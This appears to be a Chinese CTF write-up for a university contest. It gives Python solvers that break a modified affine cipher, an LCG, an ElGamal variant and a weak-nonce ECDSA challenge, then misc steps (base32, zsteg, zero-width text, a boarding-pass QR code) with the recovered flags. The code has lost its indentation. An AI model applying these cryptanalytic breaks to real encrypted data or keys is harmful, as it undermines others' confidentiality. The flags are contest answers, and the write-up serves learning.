绿城杯的密码签到题,魔改的仿射。
```python=
import gmpy2
str1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
enc= ''#密文
flag=''
a,b,c=37,23,52
for i in enc:
if i in str1:
ind=str1.find(i)
m=((ind-b)*gmpy2.invert(a,c))%c
flag+=str1[m]
else:
flag+=i
print(flag)
```
### lcg
参考这个博客,可以直接出https://blog.csdn.net/superprintf/article/details/108964563
```python
from Crypto.Util.number import *
def gcd(a,b):
if(b==0):
return a
else:
return gcd(b,a%b)
s = [64053834035066785058511795263859088093402576718387054930069870694827422995248363210875296865931156540418540088656840163752864867889701529, 62747878069691338351001678737533032651009187924993079609551517187402239263500990458468121965725468864035542647616568888614971291913860683, 8610389166165547798963079074461089122942923569827711232062490735297527674581120584017030806864406444034839689358368567214353599295961192, 67368398051089407366868405625671942347378755129423872678285919732014302509367453094142041707571135936337763803644340301362544880144675515, 3140546334522640626644397935274312967014650101920766829848908314358452633165879115222769049730993718556007257838431843662986174886332684, 86570894867827558107244361752089586436766881136739525172025909326268148819720261812567282066327259810017581923500053674785415315313293458, 74270633946662538117925791534180331044438757906314082041974053142483165604719102121031974214138125154407150853174565679126633465007917723, 82222345180880564316408536364709779418528442531150999715627704885024880160675971236916036110841803202987616501846568355385621016171784903, 79833541796675422937999973936505826001046326324194169378072775519666431460490483847928549009565561011528302879850550395115321828798479473, 70276250399219459795079058514491950109021040664671993784167534811426903455184545174600178849521746939676479421177456528336980088529680364]
t = []
for i in range(9):
t.append(s[i]-s[i-1])
all_n = []
for i in range(7):
all_n.append(gcd((t[i+1]*t[i-1]-t[i]*t[i]), (t[i+2]*t[i]-t[i+1]*t[i+1])))
MMI = lambda A, n,s=1,t=0,N=0: (n < 2 and t%N or MMI(n, A%n, t, s-A//n*t, N or n),-1)[n<1] #逆元计算
for n in all_n:
n=abs(n)
if n==1:
continue
print (n)
a=(s[2]-s[1])*MMI((s[1]-s[0]),n)%n
a_phi=MMI(a,n)
b=(s[1]-a*s[0])%n
seed = (a_phi*(s[0]-b))%n
print(long_to_bytes(seed))
```
### ElGamal
```python
import gmpy2
from libnum import *
g=2156
h=19364538528204968684702462061708976286196990984716223584085879982705646870069549303950939491629843375744443683509974903099180054959020059938548094928837585111057000303537904740493039606490649300278524100909497612375482645091133840008548424390812995957714079622701882313111238420594917948494969125949668945158548567720310535536897936888399774638950146810221642554493233791471360830335537206304149954921774311047853146084012237704564511942668835567863826393453948857017040646601008642223803582573943030891986715595055019324440801777935710172212979280887633359930943038503968027220655973786600562745845324497196488322807831
A=9995630293450443710926439589612896118286566349495827427313438676168463826116464955957074433529028056439123823805308552189562100224561582223340587241549648666015052286406499398662123425284889357996851916521752203901065203149577226993716682772240169667052935024258753871207295938393987115234900806806087469563879862789823974291794802885292895213421601726484494744585379945552505857608540799287322743476575453278214456474079134885967525955182921923390325162821977199745281205980366366121378035910599474885845467715899470571914517089671524145865515025521343377461693651620965558755177493712395218314031923968372262075180
B=19641501134902015385307004774559226297607904139535093991544778570325559816795122240929672966548430213002444213049237352884044793521811769547993865673285536027032480604621677716937881383473923009344119402643156187210725950448943245328946864032062370241469698117655959560919664615808572393768427179442187467030444796570161893138409985609498627476592440545737482637905930451978398776355436712097494242442565588522867934815296797704571702165109019346547812996256980418437536915183977770034247964771335417318800617277414315830475829847165491728666543824190225718431772550287257838893533761142681106488302856660213072339680
p=22462079869412176627931821885555952101944600797405594918854641749463937220864393745055830608055446812244264996698900999697665284937332732196426926630725227832097762570319772606025030783192201516034684801965773843056157955430791744014113857105510823445498218456593034533803396102478411584767531641441019490499843217916423047209971411135368955482819998224367982436547751038717372349803304840532049220062772016877891231064593677968672514003518354643489863858311269669893073147595991452524138366552663628111568762990736278921809825308594547202597167338050312287182471648075189640944982066563515747342673687096427486818972323
q=28577709757521853216198246673735308017741222388556736537983004770310352698300755400834390086584537929063950377479517811320184840887191771242273443550541002330913183931704545300286298706351401419891456491050602853761015210471745221392002362729657536190201295746301570653693888171092126698177521172316818690203362872667204894669174823327441419189338420132783692667363550939843985177866800051567492646390295186867546095502027580112814903312364318884847155036019427060932663037653933145705010644469037694798433540700682288704592653064369652929512935544593272630003144590426449924866389397663506039876175174422935733866377
c1=11332286863127405812094504635471613854814937800124860910727374889102766142166022490278538952075193339453759020528778269864384569875318135661332253758107737756918318534675081922056254701103801041560591485925003447157410375099257642817840146427635984078459775376609366508041281759152628202088485025645919922723952547611605566905496365693787020294985478159474030995131023017342810653667997385147659211512460252853307639792749415598629996493681533855438162174190745672038233810051871572769436201835882757496071853682754083012061501462824377212969857559498262545545910958726045037239560044244415222143743768606933059075697021
c2=1372282964332292854673500643835800757935806829460870485690391794902235711423490316005967872250129637294226354772488937508471990099713257512193293101115267735884980056095830011299721555157834626858611366012895262798146439754243097833792294579486439977908090543253784149475851789481952116226404573468174537238610218304779943433942800306671530413679374917876133865272894626882479919363711304836310550110548690619783301429872523537762660931047187386025166135883629423496176981342027467183199837522102565931413172569551605898211400707349332005272073786142995248095725863673208717402182238792111207189694429541309766220120229
c1_=7487492223501562207493141071238187010012683445431218865414855332767540287102428308132128561296707313339788591514321855414633993013212032014459200554829455238385612822475050524716563150861899110475980044752986663504368072899898047552556690686147010639666093686804838659502492460286686233915296337369816076763293591399063166665197193039627759442636660347406076545502410067401681811168844856371856963623975767540063383560470436217362992479808296945205199416087282056433190263324978331977428500978843951453699326810909568668333877992835809219093321026449785933372463937202136772746118027345246453586564853335765972544419734
c2_=6112901046404372403304708508669386492965625978668114719881280901365259881398849837356351281946750580906017030014709113808809450653169088939063675485865090639521811018655956687997373608027777185293782782804573818464618173001147063495321506979299553768270075924588394108603182983000620919544195093565180407742782557942731554038528736279686907266601446021443130620983244101165429091236355740482290982339112999228102147699542277380459486768987627950851284608417149418679274351711137770428381855005158720083477148759018003909146756483092352214900488334939460818625168850759696360708636616959341042406572145675249300094599316
tmp = gmpy2.powmod(c2, A, p) * gmpy2.powmod(h, B, p) * gmpy2.invert(c2_, p)
tmp = tmp % p
gg, x, y = gmpy2.gcdext(A - 1, p - 1)
m = gmpy2.powmod(tmp, x, p)
print(n2s(m))
```
### Dear Alice
谷歌CTF原题,搜索关键词能搜到
github项目上有解题脚本
```python=
import os
import hashlib
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
#flag = open('flag.txt').read()
INF = (1, 1, 0)
d = 311315114987715623444276142623839583360207853110657101019745009424926710590583360123029204556690633449715530612380512577293882572730509350735778781050933
mod = 8948962207650232551656602815159153422162609644098354511344597187200057010413552439917934304191956942765446530386427345937963894309923928536070534607816947
a = 6294860557973063227666421306476379324074715770622746227136910445450301914281276098027990968407983962691151853678563877834221834027439718238065725844264138
b = 3245789008328967059274849584342077916531909009637501918328323668736179176583263496463525128488282611559800773506973771797764811498834995234341530862286627
n = 8948962207650232551656602815159153422162609644098354511344597187200057010413418528378981730643524959857451398370029280583094215613882043973354392115544169
G = (5139617820728399941653175323358137352238277428061991823713659546881441331696699723004749024403291797641521696406798421624364096550661311227399430098134141,
1798860115416690485862271986832828064808333512613833729548071279524320966991708554765227095605106785724406691559310536469721469398449016850588110200884962,
5042518522433577951395875294780962682755843408950010956510838422057522452845550974098236475624683438351211176927595173916071040272153903968536756498306512)
def Double(p):
x, y, z = p
if z == 0 or y == 0:
return INF
ysqr = y * y % mod
zsqr = z * z % mod
s = 4 * x * ysqr % mod
m = (3 * x * x + a * zsqr * zsqr) % mod
x2 = (m * m - 2 * s) % mod
y2 = (m * (s - x2) - 8 * ysqr * ysqr) % mod
z2 = 2 * y * z % mod
return x2, y2, z2
def Add(p, q):
if p[2] == 0:
return q
if q[2] == 0:
return p
x1, y1, z1 = p
x2, y2, z2 = q
z1sqr = z1 * z1 % mod
z2sqr = z2 * z2 % mod
u1 = x1 * z2sqr % mod
u2 = x2 * z1sqr % mod
s1 = y1 * z2 * z2sqr % mod
s2 = y2 * z1 * z1sqr % mod
if u1 == u2:
if s1 != s2:
return INF
else:
return Double(p)
h = u2 - u1 % mod
hsqr = h * h % mod
hcube = hsqr * h % mod
r = s2 - s1 % mod
t = u1 * hsqr % mod
x3 = (r * r - hcube - 2 * t) % mod
y3 = (r * (t - x3) - s1 * hcube) % mod
z3 = h * z1 * z2 % mod
return x3, y3, z3
def Multiply(p, x):
if p == INF:
return p
res = INF
while x:
x, r = divmod(x, 2)
if r:
res = Add(res, p)
p = Double(p)
return res
def Transform(m, l):
z = m
shift = l - n.bit_length()
if shift > 0:
z >>= shift
return z
def RNG(nbits, a, b):
nbytes = nbits // 8
B = os.urandom(nbytes)
return a * sum([B[i] * b ** i for i in range(len(B))]) % 2**nbits
def Sign(msg, d):
h = hashlib.sha512(msg)
z = Transform(int.from_bytes(h.digest(), 'big'), h.digest_size*8)
print('d = ', d)
print('z = ', z)
k = RNG(n.bit_length(), 16843009, 4294967296)
print('k = ', k)
x1, y1, z1 = Multiply(G, k)
r = (x1 * pow(z1, -2, mod) % mod) % n
s = pow(k, -1, n) * (z + r * d) % n
print('r = ', r)
print('s = ', s)
print('left = ', pow(k, -1, n) % n)
print('right = ', (z + r * d) % n)
assert int(s) == pow(k, -1, n) * (z + r * d) % n
return r, s
def Verify(msg, Q, r, s):
h = hashlib.sha512(msg)
z = Transform(int.from_bytes(h.digest(), 'big'), h.digest_size*8)
u1 = z*pow(s, -1, n) % n
u2 = r*pow(s, -1, n) % n
x1, y1, z1 = Add(Multiply(G, u1), Multiply(Q, u2))
return r == (x1 * pow(z1, -2, mod) % mod) % n
def Encrypt(plaintext, x):
key = hashlib.sha256(str(x).encode()).digest()
aes = algorithms.AES(key)
encryptor = Cipher(aes, modes.ECB(), default_backend()).encryptor()
padder = padding.PKCS7(aes.block_size).padder()
padded_data = padder.update(plaintext) + padder.finalize()
ciphertext = encryptor.update(padded_data) + encryptor.finalize()
return ciphertext
def Decrypt(ciphertext, x):
key = hashlib.sha256(str(x).encode()).digest()
aes = algorithms.AES(key)
decryptor = Cipher(aes, modes.ECB(), default_backend()).decryptor()
unpadder = padding.PKCS7(aes.block_size).unpadder()
decrypted_data = decryptor.update(ciphertext) + decryptor.finalize()
plaintext = unpadder.update(decrypted_data) + unpadder.finalize()
return plaintext
_, _, ca = (8832295267397231051293216564016639537146222596144354850230682204978731311879255662259663270183445827348338041752369314181111940713714991119349376636404112, 8683784208731634307361157916911868656279723101808163939313971801256736484458199874570532609285522391139002296248059424750941962344918156540408403221858292, 105398535464409171419472607677747462033030589690350997911381059472020486557672504778060748058626707326992258591478040500759349352824508941100030623708235493999018571171774658661651532338275358740821547158517615704187173346885098836066743736788259192831313414309775979590033581301910426314601982482556670097620)
ka = [
0x8a6e81a10c229af504772b51c502638820811034faa62b8dafa019210347918419b71d0638c89b59026b7611edc6a14b2c1c1fb1092a352adfffb7e114f4f385,
0x3f837315a1fb46097f5eb680697901d75758b859846d37cad33d3f464efb84ace1e85fc60f4e445a031b5ca0e4965e0b081bd4a6e8efea1d3ba07aad51a70cd
]
ca = ca.to_bytes(byteorder='big',length=(ca.bit_length() + 7) // 8)
for k in ka:
try:
recv_msg = Decrypt(ca, k)
print(recv_msg)
except:
pass
```
## 5、Misc
### 签到
base32解码
### LSB?
zsteg -a xxx.png
cumtctf{LSB_is_s0_e@sy_Right?}
### 加密?
跳舞的小人解出密码:SHERLOCK
打开后看到一个空白的txt文件,查看内码,零宽解出:JKGASwqeeh!@$
得到这个:63756D746374667B69745F69735F63727970746F3F7D
base16解密:cumtctf{it_is_crypto?}
### 社工?
真的离谱,WANG/JIA中间的斜杠还要保留
去这里扫一下机票上的二维码:[https://demo.dynamsoft.com/barcode-reader/](https://demo.dynamsoft.com/barcode-reader/)
得到信息:

然后去搜一下飞机票二维码的数据信息
M1就是旅客姓名
flag : cumtctf{WANG/JIA}
{"metaMigratedAt":"2023-06-16T11:59:37.268Z","metaMigratedFrom":"Content","title":"CUMT国庆赛WP By None","breaks":true,"contributors":"[{\"id\":\"4eb5ee2a-c674-4365-b9a6-1aa2c3bac45d\",\"add\":10605,\"del\":598},{\"id\":\"886f3600-a713-4a16-9ebc-5f584a281d16\",\"add\":16744,\"del\":11},{\"id\":null,\"add\":12575,\"del\":17}]"}